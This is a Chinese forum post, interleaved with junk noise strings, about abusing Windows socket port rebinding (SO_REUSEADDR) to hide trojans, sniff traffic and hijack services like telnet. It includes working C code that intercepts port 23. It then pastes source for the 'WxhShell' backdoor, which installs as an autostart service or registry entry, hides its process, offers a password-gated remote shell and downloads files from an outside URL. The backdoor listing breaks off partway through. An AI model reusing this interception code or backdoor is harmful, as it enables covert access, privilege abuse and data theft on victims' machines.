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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #l% \}OC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #@"rp]1xv  
{#Cm> @')  
  saddr.sin_family = AF_INET; c0p=/*s(  
+NMSvu_?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z'm%3  
oDI*\S>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9TS=>  
-^Va]Lk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4DM|OL`w  
vrx3O  
  这意味着什么?意味着可以进行如下的攻击: CnA)>4E*'  
I T2sS6&R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b>._ r&.  
+%$V?y (  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "jMnYEG  
$gK>R5^G>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BQf+1 Ly&  
w~?eX/;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bdhgHjz  
. L%@/(r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T )]|o+G  
ToM*tXj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yvwcXNXR@  
TBYL~QQD\C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6RodnQ  
D|#(zjl@  
  #include &g>+tkC  
  #include '2{o_<m  
  #include nE%qm -  
  #include    V7i`vo3Cc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }}R!Y)  
  int main() ~Nh7C b _  
  { o-Arfc3Q  
  WORD wVersionRequested; bvTkS EN  
  DWORD ret; zz*[JIe  
  WSADATA wsaData; w2AWdO6  
  BOOL val; R;2 -/MT-  
  SOCKADDR_IN saddr; 7Wn]l!  
  SOCKADDR_IN scaddr; !Ve3:OZ.nO  
  int err; UeQ% (f  
  SOCKET s; G<1mj!{Vp  
  SOCKET sc; >(a_9l;q  
  int caddsize; 9oz)E>K4f  
  HANDLE mt; K#m o+n5-;  
  DWORD tid;   n K=V`  
  wVersionRequested = MAKEWORD( 2, 2 ); 8#B;nyGD1I  
  err = WSAStartup( wVersionRequested, &wsaData ); 2@rc&Tx  
  if ( err != 0 ) { 1D]wW%us  
  printf("error!WSAStartup failed!\n"); DO{4n1-U  
  return -1; ?&_\$L[  
  } #oY7v,x\  
  saddr.sin_family = AF_INET; 2 G{KpM&  
   o 4wKu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .p_$]  
s yvi/6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1!#ZEI C  
  saddr.sin_port = htons(23); Pw.+DA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xbA2R4|  
  { 3|3lUU\I  
  printf("error!socket failed!\n"); &t4(86Bmq  
  return -1; Vd~k4  
  } 8=uljn/  
  val = TRUE; 0[Aa2H*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mj~CCokF{?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y [S^&pF  
  { *%sYajmD  
  printf("error!setsockopt failed!\n"); sBL^NDqa2  
  return -1; 8^T$6A[b  
  } {eV_+@dT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;oE4,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Lq^/Z4L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VTa8.(i6v  
f#mpd]e+6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uM#/  
  { mQJGKh&Pk  
  ret=GetLastError();  1qF.0  
  printf("error!bind failed!\n"); XwMC/]lK<  
  return -1; d?.x./1[qi  
  } u{ /gjv  
  listen(s,2);  VVY\W!  
  while(1) RR|Eqm3)  
  { 4F?1,-X  
  caddsize = sizeof(scaddr); qZG >FC37  
  //接受连接请求 5Tq 3L[T5;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]W,g>91m  
  if(sc!=INVALID_SOCKET) m\=u/Zip  
  { Vy $\.2=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u:$x,Q  
  if(mt==NULL) Fy^\Uw  
  { uv!/DX#  
  printf("Thread Creat Failed!\n"); xm5D$m3#  
  break; \=~Ap#Mpc4  
  } huIr*)r&p  
  } ~ 5b %~:  
  CloseHandle(mt); %iv'/B8  
  } wd *Jq  
  closesocket(s); &\r%&IX/  
  WSACleanup(); $? Rod;  
  return 0; \ZB;K~BV&  
  }   ?~Des"F6)1  
  DWORD WINAPI ClientThread(LPVOID lpParam) o hCPNm  
  { P.0-(  
  SOCKET ss = (SOCKET)lpParam; .Pi67Kj,  
  SOCKET sc; >Ko )Z&j9W  
  unsigned char buf[4096]; cae}dHG2  
  SOCKADDR_IN saddr; TXM.,5Dx\  
  long num; *(rE<  
  DWORD val; l{4\Wn Va  
  DWORD ret; *?K=;$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4=Zlsp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _1~Sj*  
  saddr.sin_family = AF_INET; F)G#\r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (@Bm2gH  
  saddr.sin_port = htons(23); ]jYM;e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aum,bm/0J  
  { <4Fd ~  
  printf("error!socket failed!\n"); ]F~5l?4u#  
  return -1; #*~Uu.T  
  } t +_G%tv  
  val = 100; 6~s,j({^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iu .{L(m  
  { {mDaK&]Oh  
  ret = GetLastError(); 5V0=-K  
  return -1; ;&!l2UB%  
  } =@'"\ "Nh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /zWWUl`:  
  { +-"#GL~cC  
  ret = GetLastError(); = N#WwNC  
  return -1; zV]0S o  
  } Y'P8`$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {BF\G%v;+  
  { S.z;Bm  
  printf("error!socket connect failed!\n"); &zR}jD>  
  closesocket(sc); ,Xw/ t>  
  closesocket(ss); >,v~,<3 i  
  return -1; 1NTe@r!y  
  }  <KpQu%2(  
  while(1) y.Py>GJJ1S  
  { +2?[=g4;}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?/\;K1c p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C"}x=cK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ! 9e>J  
  num = recv(ss,buf,4096,0); d dPJx<  
  if(num>0) :A$6Y*s\  
  send(sc,buf,num,0); ^$(|(N[;   
  else if(num==0) ]k Pco4  
  break; Dj|S  
  num = recv(sc,buf,4096,0); ` C1LR,J  
  if(num>0) (R, eWWF8~  
  send(ss,buf,num,0); L%DL n  
  else if(num==0) i0P+,U  
  break; hug12Cu  
  } YANEdH`d  
  closesocket(ss); +38t82%YWo  
  closesocket(sc); VlEkT9^:  
  return 0 ; & 2b f  
  } JjwuxZVr O  
><=af 9T  
%wO~\:F8  
========================================================== X}ZOjX!  
\@xnC$dd/  
下边附上一个代码,,WXhSHELL W)l&4#__(  
-'nx7wnj2  
========================================================== )D^P~2  
H Ow hl  
#include "stdafx.h" _eF*8 /z  
Rm RV8 WJ6  
#include <stdio.h> ;r y{cq  
#include <string.h> H|^4e   
#include <windows.h> +SJ aE] $  
#include <winsock2.h> LV[4zo]=  
#include <winsvc.h> \bg^E>-  
#include <urlmon.h> [Yv5Sw  
U+ 8[Ia(t  
#pragma comment (lib, "Ws2_32.lib") %nIjRmqM~  
#pragma comment (lib, "urlmon.lib") oeIS&O.K  
9we=aX5  
#define MAX_USER   100 // 最大客户端连接数 rEViw?^KT  
#define BUF_SOCK   200 // sock buffer S.I<Hs  
#define KEY_BUFF   255 // 输入 buffer c]9OP9F  
1vThb  
#define REBOOT     0   // 重启  D;5RcZ  
#define SHUTDOWN   1   // 关机 s^U^n//  
|oM6(px  
#define DEF_PORT   5000 // 监听端口 {r"s.|n  
_w26iCnB{  
#define REG_LEN     16   // 注册表键长度 _k}b  
#define SVC_LEN     80   // NT服务名长度 1~*_H_Q't  
r}991O<  
// 从dll定义API xP*RH-<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %6n;B|!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *cd9[ ~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5mV'k"Om#"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :+6m<?R)T  
H$;\TG@,  
// wxhshell配置信息 ,"/_G  
struct WSCFG { <Z5prunov  
  int ws_port;         // 监听端口 acH.L _B:  
  char ws_passstr[REG_LEN]; // 口令 ua{eri[  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ze~\=X" "  
  char ws_regname[REG_LEN]; // 注册表键名 E )PEKWK\  
  char ws_svcname[REG_LEN]; // 服务名 5ZSw0A(w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5t PmrWZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |`|b&Rhu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ; R67a V,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $OJ*Kul  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o%dtf5}(,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HCP Be2  
/i]Gg \)  
}; %!q(zql  
Yc %eTh  
// default Wxhshell configuration v|hi;l@7E  
struct WSCFG wscfg={DEF_PORT, *f[`Yv  
    "xuhuanlingzhe", jJf|Ok:G{  
    1, DJbj@ 2W[  
    "Wxhshell", 0e:aeLh  
    "Wxhshell", &8(2U-  
            "WxhShell Service", N5s_o0K4TU  
    "Wrsky Windows CmdShell Service", f ZISwr  
    "Please Input Your Password: ", _E~uuFMn*R  
  1, UKzmRa,s  
  "http://www.wrsky.com/wxhshell.exe", &@RU}DnvM&  
  "Wxhshell.exe" # WxH  
    }; ZpZ~[BtQ  
mdk:2ndP  
// 消息定义模块 K)k!`du!6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YziQU_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NO<myN+N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DQ~@=%?ni  
char *msg_ws_ext="\n\rExit."; . v;Npm2  
char *msg_ws_end="\n\rQuit."; X@cV']#V  
char *msg_ws_boot="\n\rReboot..."; "ZH1W9A  
char *msg_ws_poff="\n\rShutdown..."; c>^_4QQ  
char *msg_ws_down="\n\rSave to "; c{E-4PYbah  
[fb-G5x  
char *msg_ws_err="\n\rErr!"; |[qI2-el?  
char *msg_ws_ok="\n\rOK!"; :9)>!+|'  
l +#`  
char ExeFile[MAX_PATH]; 0}ZuF.  
int nUser = 0; 41:Z8YL(  
HANDLE handles[MAX_USER]; z`BRz&  
int OsIsNt; Fb_~{q  
XnNK )dUT}  
SERVICE_STATUS       serviceStatus; P }PSS#nn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I5e!vCG)  
YRwS{ e*u  
// 函数声明 :c6%;2  
int Install(void); A*$vk2VWw  
int Uninstall(void); wM|-u/9+  
int DownloadFile(char *sURL, SOCKET wsh); ?GFVV->i  
int Boot(int flag); 2n@"|\uHD  
void HideProc(void); o~~_>V)W  
int GetOsVer(void); !is8`8F8  
int Wxhshell(SOCKET wsl); ZpwB"%e$  
void TalkWithClient(void *cs); n"Ev25%  
int CmdShell(SOCKET sock); ?6[>HX;  
int StartFromService(void); RpreW7B_Q*  
int StartWxhshell(LPSTR lpCmdLine); ]\GGC]:\@  
^{bP#f   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \'p)kDf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =\q3;5[  
<}e<Zf!  
// 数据结构和表定义 1mB6rp  
SERVICE_TABLE_ENTRY DispatchTable[] = U$-FQRM4K  
{ aWit^dp  
{wscfg.ws_svcname, NTServiceMain}, h rZ\ O?j  
{NULL, NULL} Qdtfi1_Y1  
}; ";GLX%C!{@  
Zw }7vD0  
// 自我安装 ld3,)ZY  
int Install(void) *zmbo >{(  
{ 2;q6~Y,  
  char svExeFile[MAX_PATH]; ]2( %^#qBG  
  HKEY key; l\S..B +  
  strcpy(svExeFile,ExeFile); KsHMAp3  
rVz#;d!`z  
// 如果是win9x系统,修改注册表设为自启动 \Q#F&q0  
if(!OsIsNt) { \^_F>M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h[ t OY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8`im4.~#%  
  RegCloseKey(key); No[>1]ds  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *:_.cbo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]-0 &[@I4@  
  RegCloseKey(key); [H"Ods~_`  
  return 0; q k !Q2W  
    } O ~"^\]\  
  } N!P* B $d  
} #$A6s~`B  
else { wi&m(f(~  
_)p%  
// 如果是NT以上系统,安装为系统服务 f'}23\>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {Xl 5F.q  
if (schSCManager!=0) ~#g Vs*K  
{ r<"1$K~Ka  
  SC_HANDLE schService = CreateService Kyv$yf 9  
  ( $H5Xa[  
  schSCManager, GSMP)8 W  
  wscfg.ws_svcname, LNr2YRpyz  
  wscfg.ws_svcdisp, nc`[fy|}  
  SERVICE_ALL_ACCESS, Q:%gJ6pa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zaq:l[%  
  SERVICE_AUTO_START, @ws3X\`<C  
  SERVICE_ERROR_NORMAL, Haturg  
  svExeFile, yvVs9"|0  
  NULL, LEk W^Mv  
  NULL, ^*Ca+22xO  
  NULL, af> i  
  NULL, b|4h2iuM  
  NULL H1q>UU:  
  ); p[W8XX  
  if (schService!=0) 1N2:4|woe  
  { d`v]+HK  
  CloseServiceHandle(schService); ty(F;M(  
  CloseServiceHandle(schSCManager); cnI!}Bu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {lqnn n3  
  strcat(svExeFile,wscfg.ws_svcname); \b' <q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bZ0r/f,n$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c.NAUe_3  
  RegCloseKey(key); '!Q[+@$  
  return 0; 5<&<61[A  
    } 8p PAEf  
  } qG~O] ($  
  CloseServiceHandle(schSCManager); c1Dhx,]ad  
} d]+g3oy `  
} 3{ `fT5]U  
u0N1+-6kr+  
return 1; 6n<:ph,h;  
} zaX30e:R  
xH*OEzN  
// 自我卸载 Ff.gRx  
int Uninstall(void) /\C9FGS  
{ vk{dL'  
  HKEY key; &x\u.wIa  
{GZHD^Ce  
if(!OsIsNt) { 3vmZB2QG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MTa.Ubs  
  RegDeleteValue(key,wscfg.ws_regname); _ 57m] ;&  
  RegCloseKey(key); tz2`X V{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ='YR;  
  RegDeleteValue(key,wscfg.ws_regname); fNQ.FAK":  
  RegCloseKey(key); FJ~Dg3F1  
  return 0; VNaa(Q  
  } -<qci3Ba}  
} U JY`P4(  
} $T~|@XH  
else { \O@,v0?R  
:h?Zg(l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \9<aCJxN  
if (schSCManager!=0) mM>{^%2Q:  
{ #j'O rD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hCc I >[H5  
  if (schService!=0) kE/>Ys@w  
  { C S+6!F]  
  if(DeleteService(schService)!=0) { *h$Dh5%P  
  CloseServiceHandle(schService); .~C*7_  
  CloseServiceHandle(schSCManager); q1Ah!9B  
  return 0; oE)tK1>;H  
  } YI&7s_% -  
  CloseServiceHandle(schService); fXO"Mr1  
  } irpO(>LK  
  CloseServiceHandle(schSCManager); 5,;{<\c  
} ll73}v  
} @yqy$I   
6Kg lp\2  
return 1; ;PGC9v%i  
} j2g#t  
}hEBX:-  
// 从指定url下载文件 V/<dHOfR\  
int DownloadFile(char *sURL, SOCKET wsh) j[9xF<I  
{ ,Rz,[KI|  
  HRESULT hr; zN*/G6>A  
char seps[]= "/"; NhXTt!S6C  
char *token; 3,W2CN}  
char *file; Peh( *D{  
char myURL[MAX_PATH]; lB.P   
char myFILE[MAX_PATH]; , )u}8ty3j  
<HI5xB_  
strcpy(myURL,sURL); NZmmO )p4  
  token=strtok(myURL,seps); .}%$l.#a  
  while(token!=NULL) 0}-&v+  
  { zZGPA j  
    file=token; 74xI#`E  
  token=strtok(NULL,seps); E.t9F3  
  } { SJ=|L6  
WSKG8JT^|  
GetCurrentDirectory(MAX_PATH,myFILE); ,r+=>vre  
strcat(myFILE, "\\"); kjJ\7x6M  
strcat(myFILE, file); rN8 ZQiJC  
  send(wsh,myFILE,strlen(myFILE),0); '9]%#^[Q  
send(wsh,"...",3,0); u3w `(3{ <  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :/K 'P`JaL  
  if(hr==S_OK) Ds$FO}KD{  
return 0; ,H[-.}OO  
else 7 8Nli/U  
return 1; i=]IUjx<  
CSR 6  
} a:7"F{D91  
,`B*rCOa  
// 系统电源模块 ')}$v+9h  
int Boot(int flag) &(IL`%  
{ |C\g3N-  
  HANDLE hToken; }Sqey:9jH  
  TOKEN_PRIVILEGES tkp; uFW4A  
n +`(R]Q  
  if(OsIsNt) { Vt*Duh+4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t? yMuK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >dn[oS,  
    tkp.PrivilegeCount = 1; w'#VN|;;!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I^ppEgYSY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3JWHyo  
if(flag==REBOOT) { 3q{H=6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gq$9he<  
  return 0; u'<Y#bsR#/  
} 2P"@=bYT"  
else { x.<^L] "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0[x?Q[~S_0  
  return 0; 8HxB\ !0F?  
} #<MLW4P  
  } w(<; $9  
  else { M\DUx5d J,  
if(flag==REBOOT) { j+88J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8~Rja  
  return 0; =3^YKI  
} 3-FS} {,  
else {  Xb&r|pR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KAO}*?  
  return 0; Hvnak{5  
} #B &D  
} 72@8M  
{uDL"~^\  
return 1; ak;fCx&  
} hJrxb<9@Y0  
P5%DvZB$w  
// win9x进程隐藏模块 (TDLT^  
void HideProc(void) N V^ktln  
{ (IAl$IP63s  
k'xnl"q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <xOpm8  
  if ( hKernel != NULL ) 8L|rj4z<#  
  { x EOR\(Z^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6Bo~7gnc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DOw< XlvC  
    FreeLibrary(hKernel); 7Q/v#_e(  
  } lva]jh2  
,D  [  
return; LyS139P$  
} f>;5ZE4Zu  
tI{pu}/"#  
// 获取操作系统版本 Mw\/gm_3  
int GetOsVer(void) {o*ziZh  
{ R5H UgI  
  OSVERSIONINFO winfo; v}M, M&?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G$x uHHZ'  
  GetVersionEx(&winfo);  i('z~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a+{YTR>0m  
  return 1; (|I0C 'Ki  
  else ;^=eiurv  
  return 0;  bXQ(6P  
} {MO`0n; rt  
[f:>tRdH  
// 客户端句柄模块 qF%wl  
int Wxhshell(SOCKET wsl) &bRmr/D  
{ QtW5; A-h  
  SOCKET wsh; /ZvNgaH5M  
  struct sockaddr_in client; hOO)0IrIM*  
  DWORD myID; Z5bmqhDo[  
@J!)o d  
  while(nUser<MAX_USER) KVSy^-."  
{ Rl=NVo  
  int nSize=sizeof(client); Rqa#;wb!(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6K[s),rdv  
  if(wsh==INVALID_SOCKET) return 1; Yc"G="XP;  
__-rP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R0gjx"U  
if(handles[nUser]==0) R =mawmQ2  
  closesocket(wsh); ^r(2 r  
else LZX-am`%  
  nUser++; V}'|a<8kVv  
  } kVe^g]F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s><RL]+{G+  
+7sdQCO(Co  
  return 0; &julw;E  
} ~5:]Oux  
%[B &JhT  
// 关闭 socket u8~.6]Ae  
void CloseIt(SOCKET wsh) ?$ Uk[  
{ IgptiZ7~!  
closesocket(wsh); cJ&l86/l1  
nUser--; *[.+|v;A  
ExitThread(0); e1[kgp   
} qdAz3iye  
lh(A=hn"n  
// 客户端请求句柄 5u~Ik c~  
void TalkWithClient(void *cs) kFw3'OZ,  
{ {1#5\t>9yD  
Nr|.]=K)5n  
  SOCKET wsh=(SOCKET)cs; -XPGl  
  char pwd[SVC_LEN]; o5BOe1_Pw  
  char cmd[KEY_BUFF]; ~.VWrHC  
char chr[1]; VtZ  
int i,j; x|F6^d   
E-E+/.A  
  while (nUser < MAX_USER) { SXwgn >  
fx99@%Ii  
if(wscfg.ws_passstr) { S]K^wj[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b1\z&IdC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QEQ8gfN9>  
  //ZeroMemory(pwd,KEY_BUFF); Kcsje_I-M  
      i=0; q.K >v'  
  while(i<SVC_LEN) { ]^8:"Ky'  
ky#<\K1}'  
  // 设置超时 3543[W#a  
  fd_set FdRead; {pd%I  
  struct timeval TimeOut; <*8nv.PX*  
  FD_ZERO(&FdRead); !CPv{c`|qg  
  FD_SET(wsh,&FdRead); v?K X Tc%Z  
  TimeOut.tv_sec=8; lU:z>gC  
  TimeOut.tv_usec=0; uQ5NN*C=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TN7kt]a2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O<L /m[]  
SKD!V6S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o7DDL{iR/  
  pwd=chr[0]; e4khReF;  
  if(chr[0]==0xd || chr[0]==0xa) { rZKv:x}{6  
  pwd=0; No =f&GVg  
  break; '?_I-="Mr  
  } AY [7yPP  
  i++; [9'5+RXw3  
    } Dr7,>Yx  
J4!Z,-  
  // 如果是非法用户,关闭 socket &EE6<-B-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8ENAif   
} q>]v~  
O JvEq@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C]A*B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N]KqSpPh  
Q]{DhDz ?+  
while(1) { 7yeZ+lD  
iMk`t:!;#"  
  ZeroMemory(cmd,KEY_BUFF); e7]IEBbX2O  
S8.nM}x  
      // 自动支持客户端 telnet标准   qW?^_  
  j=0; yw#P<8{/[  
  while(j<KEY_BUFF) { Sn7.KYS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wj8\~B=('  
  cmd[j]=chr[0]; ]r'b(R; S  
  if(chr[0]==0xa || chr[0]==0xd) { 68;,hS*|6  
  cmd[j]=0; ?#,\,  
  break; \<i#Jn+)  
  } VF<{Qx*  
  j++; B,e@v2jO|  
    } j(va# f#  
;6fkG/T  
  // 下载文件 SY>N-fW\H:  
  if(strstr(cmd,"http://")) { `S;pn+5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  4>0xS -  
  if(DownloadFile(cmd,wsh)) 57K1e~^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'G@Npp)&^  
  else h,TDNR<1L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |PI.xl:ch  
  } +:/`&LOS-  
  else { %+o]1R  
~qFi0<-M  
    switch(cmd[0]) { pC_2_,6$  
  $Snwx  
  // 帮助 ]2h~Db=  
  case '?': { H# 2'\0u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6CY_8/:zL  
    break; "N7C7`izc  
  } z#D@mn5\ a  
  // 安装 J@!Sf7k42  
  case 'i': { _ F@>?\B  
    if(Install()) CDU^X$Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Xsn1  
    else i"Ct}7i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "W\ #d  
    break; A3C<9wXx  
    } ?|N:[.  
  // 卸载 e)cmZ8~S  
  case 'r': { w`F}3zm  
    if(Uninstall()) 90K&s#+13  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wy:.  
    else 2s|[!:L5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {P1W{|  
    break; @>X."QbE  
    } &EA4`p  
  // 显示 wxhshell 所在路径 k3S**&i!CR  
  case 'p': { pg4M$;ED  
    char svExeFile[MAX_PATH]; FjkE^o>  
    strcpy(svExeFile,"\n\r"); ZLE4 XB]  
      strcat(svExeFile,ExeFile); s49 AF  
        send(wsh,svExeFile,strlen(svExeFile),0); w y:USS?  
    break; pBK[j ([  
    } > { fX;l  
  // 重启 mR8&9]g&  
  case 'b': { # ?}WQP!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3o"~_l$z  
    if(Boot(REBOOT)) R%7k<1d'`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5x=tOR/h  
    else { &S''fxGL  
    closesocket(wsh); Nm#KHA='Z  
    ExitThread(0); Bk?MF6  
    } pZjyzH{~  
    break; ,((5|MbM/  
    } SJy:5e?zk  
  // 关机 D?X97jNm  
